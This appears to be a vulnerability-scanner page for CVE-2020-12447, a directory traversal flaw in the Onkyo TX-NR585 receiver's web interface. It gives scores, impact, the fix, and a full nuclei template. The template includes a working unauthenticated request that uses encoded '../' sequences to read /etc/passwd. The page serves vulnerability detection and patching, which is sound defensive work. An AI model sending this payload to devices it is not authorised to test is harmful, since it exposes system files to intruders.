Onkyo TX-NR585 Web Interface - Directory Traversal

highseverity

7.5CVSS score

13.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.

Impact

An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.

Fix

Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-12447 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-12447

info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.13704
    epss-percentile: 0.96526
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from